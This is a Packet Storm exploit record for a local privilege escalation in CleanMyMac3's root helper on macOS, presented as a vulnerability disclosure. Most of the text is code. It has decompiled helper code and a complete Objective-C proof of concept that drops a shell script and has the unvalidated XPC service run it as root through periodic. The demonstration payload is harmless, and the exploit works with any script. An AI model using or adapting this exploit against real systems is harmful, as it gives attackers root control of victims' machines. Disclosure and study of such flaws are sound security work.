{"id": "PACKETSTORM:148711", "vendorId": null, "type": "packetstorm", "bulletinFamily": "exploit", "title": "CleanMyMac3 Local Privilege Escalation", "description": "", "published": "2018-07-26T00:00:00", "modified": "2018-07-26T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://packetstormsecurity.com/files/148711/CleanMyMac3-Local-Privilege-Escalation.html", "reporter": "Chi Chou", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2018-07-31T18:00:46", "viewCount": 8, "enchantments": {"score": {"value": 0.5, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.5}, "_state": {"dependencies": 1678917980, "score": 1683995128, "epss": 1678938645}, "_internal": {"score_hash": "ea5405981c8382107b317948082048f7"}, "sourceHref": "https://packetstormsecurity.com/files/download/148711/cleanmymac3-escalate.txt", "sourceData": "`CleanMyMac3 installs a rooted helper *com.macpaw.CleanMyMac3.Agent*, and \nits XPC interface does not validate anything. In CMPrivilegedOperationprotocol, \nthere are actually more than one way to execute privileged code. \n \nThe most straight forward one is to use periodic: \n \nvoid __cdecl -[CMPriviligedOperations \nrunPeriodicScript:withReply:](CMPriviligedOperations *self, SEL a2, id \na3, id a4) \n{ \nid v4; // rbx \n__int64 v5; // r14 \n__int64 v6; // rdx \n__int64 v7; // r12 \nvoid *v8; // rax \n__int64 v9; // rbx \n__int64 v10; // [rsp+8h] [rbp-38h] \n \nv4 = a4; \nv5 = objc_retain(a3, a2, a3); \nv7 = objc_retain(v4, a2, v6); \nv10 = v5; \nv8 = objc_msgSend(&OBJC_CLASS___NSArray, \"arrayWithObjects:count:\", \n&v10, 1LL); \nv9 = objc_retainAutoreleasedReturnValue(v8); \n+[CMTaskRunner launchTaskAndGetTermStatusWithCmd:arguments:]( \n&OBJC_CLASS___CMTaskRunner, \n\"launchTaskAndGetTermStatusWithCmd:arguments:\", \nCFSTR(\"/usr/sbin/periodic\"), \nv9); \nobjc_release(v5); \nobjc_release(v9); \nif ( v7 ) \n(*(void (__fastcall **)(__int64, signed __int64, _QWORD))(v7 + \n16))(v7, 1LL, 0LL); \nobjc_release(v7); \n} \n \nSimply give periodic a directory, it will execute every shell scripts \ninside. \n \nHere's a PoC: \n \n// clang messupmymac.mm -framework Foundation -o messup && ./messup \n#import <Foundation/Foundation.h> \n#import <xpc/xpc.h> \n \n@protocol CMPrivilegedOperation <NSObject> \n- (void)sizeOfItemAtPath:(NSString *)arg1 reply:(void (^)(long long, \nNSError *))arg2; \n- (void)removeDiagnosticLogsWithReply:(void (^)(NSString *, long long, \nNSString *, NSError *))arg1; \n- (void)flushDNSWithReply:(void (^)(BOOL, NSError *))arg1; \n- (void)removeLibraryFromLauchdConf:(NSString *)arg1 withReply:(void \n(^)(BOOL, NSError *))arg2; \n- (void)removeGlobalLoginItemForAppWithPath:(NSString *)arg1 \nwithReply:(void (^)(BOOL, NSError *))arg2; \n- (void)startSpotlightReindexWithReply:(void (^)(BOOL, NSError *))arg1; \n- (void)runPeriodicScript:(NSString *)arg1 withReply:(void (^)(BOOL, \nNSError *))arg2; \n- (void)repairPermissionsWithReply:(void (^)(BOOL, int, NSString *))arg1; \n- (void)stopStartupItem:(NSString *)arg1 withReply:(void (^)(BOOL, \nNSError *))arg2; \n- (void)startStartupItem:(NSString *)arg1 withReply:(void (^)(BOOL, \nNSError *))arg2; \n- (void)removeSMLoginItem:(NSString *)arg1 withReply:(void (^)(BOOL, \nNSError *))arg2; \n- (void)disableLaunchdAgentAtPath:(NSString *)arg1 withReply:(void \n(^)(BOOL, NSError *))arg2; \n- (void)enableLaunchdAgentAtPath:(NSString *)arg1 withReply:(void \n(^)(BOOL, NSError *))arg2; \n- (void)removeLaunchdAgentAtPath:(NSString *)arg1 withReply:(void \n(^)(BOOL, NSError *))arg2; \n- (void)slimBinaryWithPath:(NSString *)arg1 archs:(NSArray *)arg2 \nwithReply:(void (^)(BOOL, NSError *))arg3; \n- (void)removeASLWithReply:(void (^)(BOOL, NSError *))arg1; \n- (void)removeKextAtPath:(NSString *)arg1 withReply:(void (^)(BOOL, \nNSError *))arg2; \n- (void)removePackageWithID:(NSString *)arg1 withReply:(void (^)(BOOL, \nNSError *))arg2; \n- (void)truncateFileAtPath:(NSString *)arg1 withReply:(void (^)(BOOL, \nNSError *))arg2; \n- (void)moveToTrashItemAtPath:(NSString *)arg1 withReply:(void \n(^)(BOOL, NSError *))arg2; \n- (void)securelyRemoveItemAtPath:(NSString *)arg1 withReply:(void \n(^)(BOOL, NSError *))arg2; \n- (void)removeItemAtPath:(NSString *)arg1 withReply:(void (^)(BOOL, \nNSError *))arg2; \n- (void)moveItemAtPath:(NSString *)arg1 toPath:(NSString *)arg2 \nwithReply:(void (^)(BOOL, NSError *))arg3; \n- (void)echo:(NSString *)arg1 withReply:(void (^)(NSString *, NSError *))arg2; \n- (void)pleaseTerminate; \n@end \n \nint main(int argc, const char *argv[]) { \n// write payload script \nNSError *err; \nNSString *identifier = [[NSProcessInfo processInfo] globallyUniqueString]; \nNSString *tmp = [NSTemporaryDirectory() \nstringByAppendingPathComponent:identifier]; \nNSFileManager *fileManager = [NSFileManager defaultManager]; \n[fileManager createDirectoryAtPath:tmp \nwithIntermediateDirectories:YES attributes:nil error:&err]; \nif (err) { \nNSLog(@\"failed to create directory %@\\nreason: %@\", tmp, err); \nexit(-1); \n} \nNSString *executable = [tmp stringByAppendingPathComponent:@\"payload.sh\"]; \nNSURL *url = [NSURL fileURLWithPath:executable isDirectory:NO]; \n[@\"id > /hello.txt\" writeToURL:url \natomically:NO \n \nencoding:NSStringEncodingConversionAllowLossy \nerror:&err]; \nif (err) { \nNSLog(@\"failed to write to %@\\nreason: %@\", url, err); \nexit(-1); \n} \n \n[fileManager setAttributes:@{ NSFilePosixPermissions : @0777 } \nofItemAtPath:executable \nerror:&err]; \nif (err) { \nNSLog(@\"failed to set executable\\nreason: %@\", err); \nexit(-1); \n} \n \n// run \nNSXPCConnection *connection = [[NSXPCConnection alloc] \n \ninitWithMachServiceName:@\"com.macpaw.CleanMyMac3.Agent\" \noptions:NSXPCConnectionPrivileged]; \n \nconnection.remoteObjectInterface = [NSXPCInterface \ninterfaceWithProtocol:@protocol(CMPrivilegedOperation)]; \ndispatch_semaphore_t semaphore = dispatch_semaphore_create(0); \n[connection resume]; \n[connection.remoteObjectProxy runPeriodicScript:tmp \nwithReply:^(BOOL status, NSError *err) { \nif (err) \nNSLog(@\"failed: %@\", err); \nelse \nNSLog(@\"OK\"); \ndispatch_semaphore_signal(semaphore); \n}]; \ndispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER); \nNSLog(@\"done\"); \nreturn 0; \n} \n \nI reported this issue in April, but they havenat release any patch yet. \n \n \n`\n"}
{}